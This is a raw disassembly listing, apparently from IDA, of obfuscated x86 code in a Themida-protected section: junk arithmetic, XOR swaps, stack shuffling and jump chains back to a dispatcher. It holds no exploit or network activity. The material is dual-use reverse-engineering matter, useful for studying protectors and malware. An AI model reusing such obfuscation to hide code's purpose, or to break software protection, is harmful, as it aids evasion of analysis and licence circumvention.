jmp loc_555C05
; ---------------------------------------------------------------------------
loc_54EF74: ; CODE XREF: Themida_:005512C3j
mov [esp], dx
push 4BADh
jmp loc_5590C8
; ---------------------------------------------------------------------------
loc_54EF82: ; CODE XREF: Themida_:0055B034j
push edx
mov edx, 550F220Ah
add edx, 5AE66A14h
xor edx, 0AFF58C1Ah
add esi, edx
pop edx
push eax
push ebx
mov ebx, 6AE866DFh
mov eax, ebx
mov ebx, [esp]
jmp loc_55AA9E
; ---------------------------------------------------------------------------
loc_54EFA8: ; CODE XREF: Themida_:0055A1A8j
add esp, 4
jmp loc_55954A
; ---------------------------------------------------------------------------
loc_54EFB0: ; CODE XREF: Themida_:0054ECCCj
pop edx
jmp loc_54FADA
; ---------------------------------------------------------------------------
loc_54EFB6: ; CODE XREF: Themida_:005547A6j
sub ax, cx
add ax, 5601h
push edi
mov di, 4C89h
push eax
mov ax, 7F53h
sub ax, 281Dh
jmp loc_555C42
; ---------------------------------------------------------------------------
loc_54EFD0: ; CODE XREF: Themida_:00551F1Dj
sub ebp, 5CF84EB0h
sub eax, ebp
pop ebp
sub eax, ebp
add eax, 22D358D0h
add eax, 7B4707F3h
pop ebp
sub eax, ebx
add eax, 64615EFFh
sub esp, 4
mov [esp], ecx
mov ecx, 2F47684Dh
sub eax, ecx
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
jmp loc_5577D0
; ---------------------------------------------------------------------------
loc_54F011: ; CODE XREF: Themida_:005522E4j
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_5534D5
; ---------------------------------------------------------------------------
loc_54F01D: ; CODE XREF: Themida_:0054F156j
xor [esp], ecx
xor ecx, [esp]
xor [esp], ecx
not ecx
xchg ecx, [esp]
pop eax
push edi
push ebp
mov ebp, 21F063FEh
push edx
push eax
mov eax, 0E726CE2h
inc eax
inc eax
jmp loc_553CC3
; ---------------------------------------------------------------------------
loc_54F041: ; CODE XREF: Themida_:00551292j
push dword ptr [esp]
jmp loc_54F6CA
; ---------------------------------------------------------------------------
loc_54F049: ; CODE XREF: Themida_:00552E28j
add ebp, ebx
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push eax
mov eax, 2
add ebp, eax
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
xchg ebp, [esp]
jmp loc_5564DB
; ---------------------------------------------------------------------------
loc_54F086: ; CODE XREF: Themida_:005559C9j
add edx, 2BA70095h
push ebp
mov ebp, 62D9149Dh
dec ebp
inc ebp
xor ebp, 7A060658h
sub ebp, 18F45007h
jmp loc_555D87
; ---------------------------------------------------------------------------
loc_54F0A5: ; CODE XREF: Themida_:0055A247j
xchg edi, [esp]
pop esp
loc_54F0A9: ; CODE XREF: Themida_:0054F9E1j
; Themida_:0055AC9Fj
push ebx
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_55177D
; ---------------------------------------------------------------------------
loc_54F0BF: ; CODE XREF: Themida_:00553269j
add edx, 4
add edx, 4
jmp loc_54F270
; ---------------------------------------------------------------------------
loc_54F0CD: ; CODE XREF: Themida_:0054EC9Ej
push 2A22h
mov [esp], esi
mov esi, esp
push 5DC7h
jmp loc_5542D4
; ---------------------------------------------------------------------------
loc_54F0E1: ; CODE XREF: Themida_:00553FCFj
add ebx, eax
mov eax, [esp]
add esp, 4
sub ebx, eax
sub ebx, 4CC87BF9h
push dword ptr [eax]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_54F0F8: ; CODE XREF: Themida_:0054F7F4j
sub eax, edi
add eax, 43913C22h
pop edi
jmp loc_556BF9
; ---------------------------------------------------------------------------
loc_54F105: ; CODE XREF: Themida_:005590EFj
mov al, 67h
add bl, al
pop ax
jmp loc_552055
; ---------------------------------------------------------------------------
loc_54F110: ; CODE XREF: Themida_:00557E23j
pop ebp
add ebx, ecx
add ebx, 381F59F2h
add ebx, 1D9A5AC8h
mov [ebx], al
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_550BBC
; ---------------------------------------------------------------------------
loc_54F138: ; CODE XREF: Themida_:0055A211j
pop ecx
jmp loc_558C0A
; ---------------------------------------------------------------------------
loc_54F13E: ; CODE XREF: Themida_:0055AF1Bj
add edx, ebx
pop ebx
sub edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_54F01D
; ---------------------------------------------------------------------------
loc_54F15B: ; CODE XREF: Themida_:00554926j
mov ecx, edi
pop edi
not ecx
add ecx, 180C1971h
add ebx, ecx
pop ecx
jmp loc_5582D5
; ---------------------------------------------------------------------------
loc_54F16E: ; CODE XREF: Themida_:00550920j
push eax
jmp loc_5583DF
; ---------------------------------------------------------------------------
loc_54F174: ; CODE XREF: Themida_:00552AB4j
xor dl, 87h
jmp loc_556CFF
; ---------------------------------------------------------------------------
loc_54F17C: ; CODE XREF: Themida_:0055A124j
pop ecx
jmp loc_556A3E
; ---------------------------------------------------------------------------
loc_54F182: ; CODE XREF: Themida_:00557071j
push esp
mov edi, [esp]
add esp, 4
push ecx
jmp loc_55ADDA
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
push ecx
mov ecx, esp
add ecx, 4
push esi
jmp loc_553A8E
; ---------------------------------------------------------------------------
loc_54F1A8: ; CODE XREF: Themida_:00552F19j
pop edx
and ebx, edx
mov edx, [esp]
push edx
push esp
pop edx
add edx, 4
push esi
jmp loc_5536CC
; ---------------------------------------------------------------------------
loc_54F1BD: ; CODE XREF: Themida_:00552EA8j
pop ecx
pop dword ptr [esp]
mov esp, [esp]
xchg esi, [esp]
jmp loc_55B156
; ---------------------------------------------------------------------------
loc_54F1CC: ; CODE XREF: Themida_:0055460Dj
xor ebx, [esp]
xor [esp], ebx
xchg eax, ebx
not eax
xchg eax, ebx
xor [esp], ebx
xor ebx, [esp]
xor [esp], ebx
mov ebx, [esp]
jmp loc_558AA2
; ---------------------------------------------------------------------------
loc_54F1E7: ; CODE XREF: Themida_:0055A11Dj
push ebp
mov ebp, 1997C216h
sub esi, ebp
jmp loc_54F516
; ---------------------------------------------------------------------------
loc_54F1F4: ; CODE XREF: Themida_:0055A805j
mov [esp], esi
mov esi, 64E64C29h
jmp loc_55129D
; ---------------------------------------------------------------------------
loc_54F201: ; CODE XREF: Themida_:00553D36j
push edx
mov edx, esp
add edx, 4
push eax
mov eax, 4
sub edx, eax
pop eax
xchg edx, [esp]
jmp loc_551A1B
; ---------------------------------------------------------------------------
loc_54F21B: ; CODE XREF: Themida_:005574C0j
shr eax, 5
xor eax, 37ED7E8Eh
add ebx, eax
pop eax
add ebx, edx
sub ebx, 36113D6Fh
mov edx, [esp]
add esp, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
bts [esp], ax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_54F24E: ; CODE XREF: Themida_:0055A94Cj
pop ecx
add edi, ebx
mov ebx, [esp]
add esp, 4
add edi, 2
xchg edi, [esp]
jmp loc_5547DF
; ---------------------------------------------------------------------------
loc_54F268: ; CODE XREF: Themida_:00559851j
xchg edi, [esp]
jmp loc_555C92
; ---------------------------------------------------------------------------
loc_54F270: ; CODE XREF: Themida_:0054F0C8j
xchg edx, [esp]
pop esp
xor ax, bx
mov bx, [esp]
jmp loc_55982F
; ---------------------------------------------------------------------------
loc_54F280: ; CODE XREF: Themida_:00559F96j
push ebx
push 7FB93CC4h
pop ebx
add ebx, 8046C340h
mov edi, ebx
pop ebx
jmp loc_557C64
; ---------------------------------------------------------------------------
loc_54F295: ; CODE XREF: Themida_:0055A3A6j
mov eax, esp
push ebp
mov ebp, 4
add eax, 461A2A61h
jmp loc_54FF2A
; ---------------------------------------------------------------------------
loc_54F2A7: ; CODE XREF: Themida_:00555836j
mov [esp], edi
pop eax
pop edi
push 2909h
mov [esp], ecx
mov ecx, esp
push eax
mov eax, 4
add ecx, eax
pop eax
sub ecx, 4
xchg ecx, [esp]
jmp loc_557D1C
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
jmp loc_55ADB2
; ---------------------------------------------------------------------------
loc_54F2D8: ; CODE XREF: Themida_:0054FDBDj
pop edx
add bl, 0CFh
sub bl, 3Dh
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_54F320
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
push esp
pop ecx
push eax
push 4
pop eax
sub ecx, 557207E4h
add ecx, eax
jmp loc_550AB7
; ---------------------------------------------------------------------------
loc_54F305: ; CODE XREF: Themida_:00557B5Cj
push esp
pop esi
push ebx
mov ebx, 98C32B8h
xor ebx, 5560B5Bh
dec ebx
dec ebx
and ebx, 2F135E34h
jmp loc_5560C0
; ---------------------------------------------------------------------------
loc_54F320: ; CODE XREF: Themida_:0054F2E5j
push edx
mov edx, 68BE6DA6h
xor [esp+4], edx
mov edx, [esp]
add esp, 4
push dword ptr [esp]
pop eax
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_55774D
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 51AFh
mov [esp], edi
push eax
jmp loc_550143
; ---------------------------------------------------------------------------
loc_54F35C: ; CODE XREF: Themida_:0055916Aj
pop edx
add esi, 5B5A450Dh
add esi, edi
jmp loc_551E4E
; ---------------------------------------------------------------------------
loc_54F36A: ; CODE XREF: Themida_:00551C14j
push eax
push 6C627AF4h
mov eax, [esp]
add esp, 4
sub eax, 1B2644A1h
mov ecx, eax
jmp loc_552DD7
; ---------------------------------------------------------------------------
loc_54F385: ; CODE XREF: Themida_:00553055j
push edi
jmp loc_5507FE
; ---------------------------------------------------------------------------
loc_54F38B: ; CODE XREF: Themida_:00552598j
mov eax, [esp]
add esp, 4
add eax, 58660961h
pop ecx
inc eax
shl eax, 2
jmp loc_55441F
; ---------------------------------------------------------------------------
loc_54F3A0: ; CODE XREF: Themida_:00552C1Cj
pop edi
push edx
mov edx, 0AC5E43ABh
sub ecx, edx
mov edx, [esp]
add esp, 4
and eax, ecx
pop ecx
or eax, eax
jz loc_554B84
push dword ptr [edi+1Ch]
push dword ptr [esp]
pop ecx
sub esp, 4
jmp loc_55706E
; ---------------------------------------------------------------------------
loc_54F3C9: ; CODE XREF: Themida_:005580ECj
or eax, 55AC0F21h
xor eax, 387E9029h
jmp loc_553936
; ---------------------------------------------------------------------------
loc_54F3D8: ; CODE XREF: Themida_:00552145j
mov ebp, [esp]
add esp, 4
and ebp, 27075266h
sub ebp, 1CC601AEh
xor ebp, 0AEA01EF6h
mov esi, ebp
jmp loc_5545E4
; ---------------------------------------------------------------------------
loc_54F3FA: ; CODE XREF: Themida_:0055025Ej
add esp, 4
mov eax, [esp]
add esp, 4
neg dl
shr dl, 4
shl dl, 2
shr dl, 6
xor dl, 11h
jmp loc_552489
; ---------------------------------------------------------------------------
loc_54F416: ; CODE XREF: Themida_:00559ABCj
mov esp, [esp]
movzx ax, byte ptr [eax]
push small 4D53h
mov [esp], ax
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_54F42A: ; CODE XREF: Themida_:0054FAE9j
add edx, edi
pop edi
push esi
mov esi, 4
add edx, esi
jmp loc_55A3AB
; ---------------------------------------------------------------------------
loc_54F43A: ; CODE XREF: Themida_:0054FE14j
add ebp, ecx
pop ecx
push edi
jmp loc_554595
; ---------------------------------------------------------------------------
loc_54F443: ; CODE XREF: Themida_:00559CFBj
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ecx
mov ecx, esp
push ebx
push edx
mov edx, 1FDC5A15h
mov ebx, 5C2C1708h
xor ebx, edx
pop edx
sub ebx, 5FB97834h
jmp loc_55A834
; ---------------------------------------------------------------------------
loc_54F46C: ; CODE XREF: Themida_:0055296Aj
push ebp
mov ebp, 6CDD45FFh
jmp loc_551638
; ---------------------------------------------------------------------------
mov cx, [esp]
push 0B00h
mov [esp], ebx
push esp
mov ebx, [esp]
jmp loc_5543CA
; ---------------------------------------------------------------------------
loc_54F48C: ; CODE XREF: Themida_:00554D7Dj
pop ebx
jmp loc_555ACE
; ---------------------------------------------------------------------------
loc_54F492: ; CODE XREF: Themida_:00556316j
mov ebx, 4FF54B86h
inc ebx
sub ebx, 74E46459h
push eax
push ebx
jmp loc_555421
; ---------------------------------------------------------------------------
loc_54F4A5: ; CODE XREF: Themida_:00555D78j
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5541D2
; ---------------------------------------------------------------------------
loc_54F4B4: ; CODE XREF: Themida_:0054EBDEj
pop eax
pop dword ptr [esp]
jmp loc_556D9F
; ---------------------------------------------------------------------------
loc_54F4BD: ; CODE XREF: Themida_:00559622j
pop ebx
jmp loc_551531
; ---------------------------------------------------------------------------
loc_54F4C3: ; CODE XREF: Themida_:00557A41j
mov eax, 59731FA6h
push edi
mov edi, 2D9B4EB5h
push edx
push edi
jmp loc_555A93
; ---------------------------------------------------------------------------
loc_54F4D5: ; CODE XREF: Themida_:00555845j
pop edx
push dx
mov dl, 2Ch
sub bh, 4Ah
add bh, dl
jmp loc_559627
; ---------------------------------------------------------------------------
loc_54F4E4: ; CODE XREF: Themida_:00550B72j
add ecx, 4
sub esp, 4
mov [esp], edx
push ebx
mov ebx, 770075F4h
jmp loc_555F7F
; ---------------------------------------------------------------------------
loc_54F4FE: ; CODE XREF: Themida_:0055B05Cj
xchg esi, [esp]
jmp loc_551409
; ---------------------------------------------------------------------------
loc_54F506: ; CODE XREF: Themida_:00551298j
push edi
mov edi, 40h
and ecx, edi
mov edi, [esp]
jmp loc_550EEE
; ---------------------------------------------------------------------------
loc_54F516: ; CODE XREF: Themida_:0054F1EFj
push dword ptr [esp]
pop ebp
jmp loc_559BDC
; ---------------------------------------------------------------------------
loc_54F51F: ; CODE XREF: Themida_:005568FCj
push esi
mov esi, 1A2A01B7h
sub esi, 0A3BDBBB3h
push esi
jmp loc_55A00D
; ---------------------------------------------------------------------------
loc_54F531: ; CODE XREF: Themida_:005527BDj
push esi
jmp loc_554171
; ---------------------------------------------------------------------------
lodsd
push edi
mov edi, 5CF93239h
add eax, 51BD7079h
sub eax, 7A554236h
sub eax, edi
jmp loc_558AC2
; ---------------------------------------------------------------------------
loc_54F54F: ; CODE XREF: Themida_:0055A0F1j
sub ch, 6Eh
or dl, ch
pop ecx
jmp loc_550FE5
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_559D60
; ---------------------------------------------------------------------------
loc_54F563: ; CODE XREF: Themida_:00556818j
neg ecx
inc ecx
xor ecx, 28025CC4h
jmp loc_559597
; ---------------------------------------------------------------------------
loc_54F571: ; CODE XREF: Themida_:0055962Aj
pop dx
sub cl, bh
mov ebx, [esp]
add esp, 4
add cl, 0A6h
and dh, cl
push dword ptr [esp]
jmp loc_55AC23
; ---------------------------------------------------------------------------
loc_54F588: ; CODE XREF: Themida_:00559C97j
mov ebx, esp
add ebx, 4
jmp loc_558BE2
; ---------------------------------------------------------------------------
loc_54F595: ; CODE XREF: Themida_:0054FF31j
mov [esp], ebx
mov ebx, 77965ADBh
push ebp
mov ebp, 26664F75h
or ebp, 0F8F7EDCh
neg ebp
jmp loc_55509A
; ---------------------------------------------------------------------------
loc_54F5B0: ; CODE XREF: Themida_:0055989Aj
mov ecx, 4
add ebx, ecx
pop ecx
xchg ebx, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], edx
push ecx
jmp loc_554007
; ---------------------------------------------------------------------------
loc_54F5CA: ; CODE XREF: Themida_:00554BA0j
add edi, esi
pop esi
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_553E1B
; ---------------------------------------------------------------------------
loc_54F5DB: ; CODE XREF: Themida_:00557C78j
mov ebp, esi
pop esi
xor ebp, 485C5B77h
push ecx
mov ecx, 1
add ebp, ecx
pop ecx
push 3869h
mov [esp], ebx
mov ebx, 0E594E8E0h
jmp loc_55156D
; ---------------------------------------------------------------------------
loc_54F5FF: ; CODE XREF: Themida_:0055730Fj
pop dword ptr [esp]
sub esp, 4
jmp loc_553F08
; ---------------------------------------------------------------------------
loc_54F60D: ; CODE XREF: Themida_:005599A0j
mov [esp], ebx
jmp loc_55739A
; ---------------------------------------------------------------------------
loc_54F615: ; CODE XREF: Themida_:0054F991j
push 0C49h
mov [esp], ebx
mov ebx, 7B983B9Eh
not ebx
jmp loc_557E08
; ---------------------------------------------------------------------------
loc_54F629: ; CODE XREF: Themida_:00553D27j
mov al, dh
inc al
mov dh, al
pop eax
sub dh, 8Dh
mov ah, dh
pop edx
jmp loc_552B59
; ---------------------------------------------------------------------------
loc_54F63B: ; CODE XREF: Themida_:00550EB9j
mov edi, 4
add esi, edi
pop edi
add esi, 4
xchg esi, [esp]
mov esp, [esp]
pop dword ptr [edi+40h]
add dword ptr [edi+40h], 1CE24E3Bh
jmp loc_54EADE
; ---------------------------------------------------------------------------
loc_54F65B: ; CODE XREF: Themida_:00555CBCj
push 2
pop edx
add esi, edx
jmp loc_55521F
; ---------------------------------------------------------------------------
loc_54F668: ; CODE XREF: Themida_:00556D02j
not dl
jmp loc_5558AE
; ---------------------------------------------------------------------------
loc_54F66F: ; CODE XREF: Themida_:005513E5j
add esp, 4
add edx, 581E1EDEh
jmp loc_551AF3
; ---------------------------------------------------------------------------
loc_54F680: ; CODE XREF: Themida_:0054FC06j
push edx
mov edx, 705803E2h
or edx, 1E491B3Ah
and edx, 38E77174h
push eax
jmp loc_556C0D
; ---------------------------------------------------------------------------
loc_54F698: ; CODE XREF: Themida_:0055808Dj
mov bh, dl
push eax
push ecx
jmp loc_552573
; ---------------------------------------------------------------------------
loc_54F6A1: ; CODE XREF: Themida_:00550E2Cj
inc ebx
not ebx
shr ebx, 5
inc ebx
add ebx, 4948EC02h
jmp loc_556A23
; ---------------------------------------------------------------------------
loc_54F6B3: ; CODE XREF: Themida_:0055244Bj
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_54F6B8: ; CODE XREF: Themida_:00552F0Cj
mov ebx, 163A4A6Bh
xor ebx, 40D92935h
not ebx
jmp loc_5580FB
; ---------------------------------------------------------------------------
loc_54F6CA: ; CODE XREF: Themida_:0054F044j
pop esi
add esp, 4
sub edi, 201E1D0Eh
dec edi
xor edi, 59E85621h
not edi
jmp loc_55951D
; ---------------------------------------------------------------------------
loc_54F6E5: ; CODE XREF: Themida_:005534D0j
mov edi, 15CC1902h
xor edi, 0EA447B0h
add edi, 0E497A152h
jmp loc_55534D
; ---------------------------------------------------------------------------
loc_54F6FB: ; CODE XREF: Themida_:00551CFCj
mov edi, 0FFFFFFFFh
sub esi, edi
jmp loc_553282
; ---------------------------------------------------------------------------
loc_54F707: ; CODE XREF: Themida_:00554B26j
xor ebp, edx
pop edx
shr ebp, 7
add ebp, 6762457Bh
jmp loc_555E64
; ---------------------------------------------------------------------------
loc_54F718: ; CODE XREF: Themida_:005562C6j
mov edx, 4E332031h
sub edx, 4DC4DF01h
push 2373h
mov [esp], edx
mov esi, [esp]
jmp loc_551CEF
; ---------------------------------------------------------------------------
loc_54F733: ; CODE XREF: Themida_:00551AB6j
add dl, 30h
xor al, dl
pop edx
sub esp, 4
mov [esp], ecx
sub esp, 4
mov [esp], ebx
mov bh, 8Ch
xor bh, 0EEh
shr bh, 3
add bh, 6Eh
mov cl, bh
jmp loc_55881F
; ---------------------------------------------------------------------------
loc_54F75D: ; CODE XREF: Themida_:00552BABj
mov [esp], ebp
push 7BD5h
mov [esp], ebx
push 1
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
xor dword ptr [esp], 2D190512h
pop ebp
jmp loc_557D0A
; ---------------------------------------------------------------------------
loc_54F786: ; CODE XREF: Themida_:00558721j
sub ecx, 51972B0Fh
add ecx, ebx
jmp loc_554BE7
; ---------------------------------------------------------------------------
loc_54F793: ; CODE XREF: Themida_:00557F52j
pop edi
add esp, 4
push small word ptr [eax]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_54F7A2: ; CODE XREF: Themida_:00553D2Dj
pop edi
jmp loc_55A39A
; ---------------------------------------------------------------------------
loc_54F7A8: ; CODE XREF: Themida_:00555678j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_54F7BF: ; CODE XREF: Themida_:0055A99Dj
xchg eax, [esp]
mov esp, [esp]
inc word ptr [esp]
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_54F7CF: ; CODE XREF: Themida_:00551DB7j
and bh, 12h
jmp loc_5533C2
; ---------------------------------------------------------------------------
loc_54F7D7: ; CODE XREF: Themida_:00559701j
mov [esp], eax
mov eax, 4C10070Fh
and eax, 3E2A0CA0h
sub eax, 72D11766h
push edi
mov edi, 13AB4104h
sub eax, 43913C22h
jmp loc_54F0F8
; ---------------------------------------------------------------------------
loc_54F7F9: ; CODE XREF: Themida_:0055A847j
xor edx, 5F5129E4h
inc edx
jmp loc_557287
; ---------------------------------------------------------------------------
loc_54F805: ; CODE XREF: Themida_:005557EEj
pop ecx
add al, dh
pop edx
sub al, 9Dh
pop ebx
push 5977h
mov [esp], edx
push ecx
mov ch, 5Ch
mov dh, 3Bh
jmp loc_555A63
; ---------------------------------------------------------------------------
loc_54F81E: ; CODE XREF: Themida_:0055A65Cj
and eax, ebp
push dword ptr [esp]
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
add esp, 4
shr eax, 0Ch
xor eax, ecx
push 50E3h
mov [esp], eax
push edi
jmp loc_551446
; ---------------------------------------------------------------------------
loc_54F84F: ; CODE XREF: Themida_:0055A2CFj
add ebx, ebp
pop ebp
add ebp, 18CD23BCh
add ebp, ebx
sub ebp, 18CD23BCh
jmp loc_55523E
; ---------------------------------------------------------------------------
loc_54F865: ; CODE XREF: Themida_:00556F08j
pop esp
add al, 0DFh
add al, 7Eh
sub al, cl
sub al, 7Eh
jmp loc_550C10
; ---------------------------------------------------------------------------
loc_54F873: ; CODE XREF: Themida_:0055834Cj
push ecx
mov ecx, 51EC4173h
and ecx, 42411FB4h
neg ecx
or ecx, 651350BBh
xor ecx, 0FFBFFEFFh
add ebx, ecx
pop ecx
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_551A52
; ---------------------------------------------------------------------------
loc_54F89E: ; CODE XREF: Themida_:00556FB8j
push ecx
jmp loc_55357A
; ---------------------------------------------------------------------------
loc_54F8A4: ; CODE XREF: Themida_:005571ACj
add ebp, 27EC0358h
sub ebp, 68FA53A4h
shl ebp, 8
add ebp, 95236304h
add ecx, ebp
pop ebp
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
sub edx, 40940940h
sub esp, 4
mov [esp], ecx
jmp loc_55539A
; ---------------------------------------------------------------------------
loc_54F8D9: ; CODE XREF: Themida_:00555BCDj
; Themida_:0055731Fj ...
push dword ptr [edi+24h]
push esi
mov esi, 66B9409Bh
xor [esp+4], esi
pop esi
jmp loc_551711
; ---------------------------------------------------------------------------
loc_54F8EC: ; CODE XREF: Themida_:0054EE04j
mov edx, ebx
pop ebx
add edx, edi
add eax, [edx]
mov edx, [esp]
add esp, 4
push ebx
mov ebx, esp
push ecx
mov ecx, 4
jmp loc_555217
; ---------------------------------------------------------------------------
loc_54F907: ; CODE XREF: Themida_:00552EC2j
sub bl, ch
pop cx
add bl, cl
add bl, 57h
add bl, 0A3h
pop ecx
push ebx
mov ebx, 38h
jmp loc_55AFFB
; ---------------------------------------------------------------------------
loc_54F91F: ; CODE XREF: Themida_:0055306Dj
neg edi
add edi, 6EF5A4C9h
add ebx, edi
pop edi
and eax, ebx
push dword ptr [esp]
push dword ptr [esp]
pop ebx
add esp, 4
add esp, 4
or eax, eax
jz loc_556CAE
push dword ptr [edi+1Ch]
jmp loc_54F996
; ---------------------------------------------------------------------------
loc_54F94C: ; CODE XREF: Themida_:005569E1j
add dword ptr [esp], 79D16285h
jmp loc_557938
; ---------------------------------------------------------------------------
loc_54F958: ; CODE XREF: Themida_:00558D4Cj
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
jmp loc_555CC1
; ---------------------------------------------------------------------------
loc_54F96B: ; CODE XREF: Themida_:00551D45j
add dword ptr [esp], 4
pop ebx
add ebx, 4
push edx
push ebx
mov ebx, 16264234h
neg ebx
not ebx
jmp loc_5553E5
; ---------------------------------------------------------------------------
loc_54F989: ; CODE XREF: Themida_:00556632j
push ecx
jmp loc_55679F
; ---------------------------------------------------------------------------
loc_54F98F: ; CODE XREF: Themida_:005561C9j
push esp
pop esi
jmp loc_54F615
; ---------------------------------------------------------------------------
loc_54F996: ; CODE XREF: Themida_:0054F947j
add dword ptr [esp], 37D004B2h
mov ecx, [esp]
push 2A66h
mov [esp], eax
push esp
pop eax
jmp loc_54FFE3
; ---------------------------------------------------------------------------
loc_54F9AF: ; CODE XREF: Themida_:005551A0j
add eax, 4
push edi
jmp loc_55605A
; ---------------------------------------------------------------------------
loc_54F9BA: ; CODE XREF: Themida_:0055475Fj
add edx, 0FFFFFFFFh
not edx
sub edx, 8A4DBF07h
mov ebp, edx
mov edx, [esp]
add esp, 4
add ecx, ebp
pop ebp
push esi
mov esi, 5E844394h
push ebx
jmp loc_552D34
; ---------------------------------------------------------------------------
loc_54F9DC: ; CODE XREF: Themida_:00556488j
and eax, ebx
pop ebx
or eax, eax
jz loc_54F0A9
push dword ptr [edi+28h]
jmp loc_55910A
; ---------------------------------------------------------------------------
loc_54F9EF: ; CODE XREF: Themida_:00553CD8j
neg ebx
push eax
mov eax, 291120h
sub eax, 93B3CC28h
or ebx, eax
jmp loc_554EAD
; ---------------------------------------------------------------------------
loc_54FA03: ; CODE XREF: Themida_:0055A322j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_557765
; ---------------------------------------------------------------------------
loc_54FA11: ; CODE XREF: Themida_:00553570j
mov ax, [esp]
push ebp
jmp loc_552619
; ---------------------------------------------------------------------------
loc_54FA1B: ; CODE XREF: Themida_:005589F9j
pop esi
add edi, 3803707h
add edi, ebp
sub edi, 3803707h
pop ebp
xchg edi, [esp]
pop esp
add eax, 0FDB3F03h
push 36BBh
mov [esp], ebx
jmp loc_553712
; ---------------------------------------------------------------------------
loc_54FA41: ; CODE XREF: Themida_:0055A80Bj
push ebp
mov ebp, 18925403h
shr ebp, 1
jmp loc_557076
; ---------------------------------------------------------------------------
loc_54FA4E: ; CODE XREF: Themida_:0055847Dj
pop esp
shr eax, 12h
xor eax, ecx
jmp loc_55297A
; ---------------------------------------------------------------------------
loc_54FA59: ; CODE XREF: Themida_:00550040j
pop dword ptr [esp]
pop esp
xor ecx, 66B9409Bh
jmp loc_556D91
; ---------------------------------------------------------------------------
mov eax, 71514168h
push ecx
jmp loc_5552B3
; ---------------------------------------------------------------------------
loc_54FA73: ; CODE XREF: Themida_:0055A8A7j
push edx
jmp loc_54ED9A
; ---------------------------------------------------------------------------
loc_54FA79: ; CODE XREF: Themida_:0055741Bj
push cx
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_54FA81: ; CODE XREF: Themida_:00552428j
shr ecx, 1
neg ecx
xor ecx, 0D8E25251h
sub edx, 69F63A1Ch
jmp loc_5578FD
; ---------------------------------------------------------------------------
loc_54FA96: ; CODE XREF: Themida_:00553EC3j
mov edx, 0B47EB8CEh
add edx, ecx
pop ecx
shl edx, 8
jmp loc_55075B
; ---------------------------------------------------------------------------
loc_54FAA6: ; CODE XREF: Themida_:0055440Aj
push dword ptr [esp]
pop edx
push edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
shr eax, 0Ah
xor eax, ecx
xchg eax, edi
push edi
xchg eax, [esp]
not eax
xchg eax, [esp]
push dword ptr [esp]
mov edi, [esp]
add esp, 4
jmp loc_557F6C
; ---------------------------------------------------------------------------
loc_54FADA: ; CODE XREF: Themida_:0054EFB1j
shl edi, 2
add edi, 6E7D2969h
sub edi, 0EF7D6D6Dh
jmp loc_54F42A
; ---------------------------------------------------------------------------
loc_54FAEE: ; CODE XREF: Themida_:00558540j
xor esi, 3FDB516Fh
sub edi, esi
jmp loc_5563E4
; ---------------------------------------------------------------------------
loc_54FAFB: ; CODE XREF: Themida_:0055494Cj
mov dx, [esp]
push esi
jmp loc_558DF3
; ---------------------------------------------------------------------------
loc_54FB05: ; CODE XREF: Themida_:00553BD9j
push edx
mov edx, 71B451EFh
shl edx, 4
sub edx, 88C521E9h
push ebp
mov ebp, edx
mov edi, ebp
pop ebp
jmp loc_55117C
; ---------------------------------------------------------------------------
loc_54FB1F: ; CODE XREF: Themida_:00555A8Ej
add edx, 4
xchg edx, [esp]
mov esp, [esp]
push dword ptr [esp]
mov ecx, [esp]
push 7223h
jmp loc_555F6C
; ---------------------------------------------------------------------------
loc_54FB3B: ; CODE XREF: Themida_:00553B6Dj
pop ecx
sub al, bl
pop ebx
sub al, 3Fh
sub al, cl
add al, 3Fh
add al, 58h
push dword ptr [esp]
push dword ptr [esp]
jmp loc_554AD7
; ---------------------------------------------------------------------------
loc_54FB52: ; CODE XREF: Themida_:005513C8j
sub ch, 0A8h
add ch, 0FAh
sub bl, ch
push dword ptr [esp]
pop ecx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
add al, bl
pop ebx
sub esp, 4
mov [esp], ebx
mov bh, 0AAh
inc bh
jmp loc_54FBCA
; ---------------------------------------------------------------------------
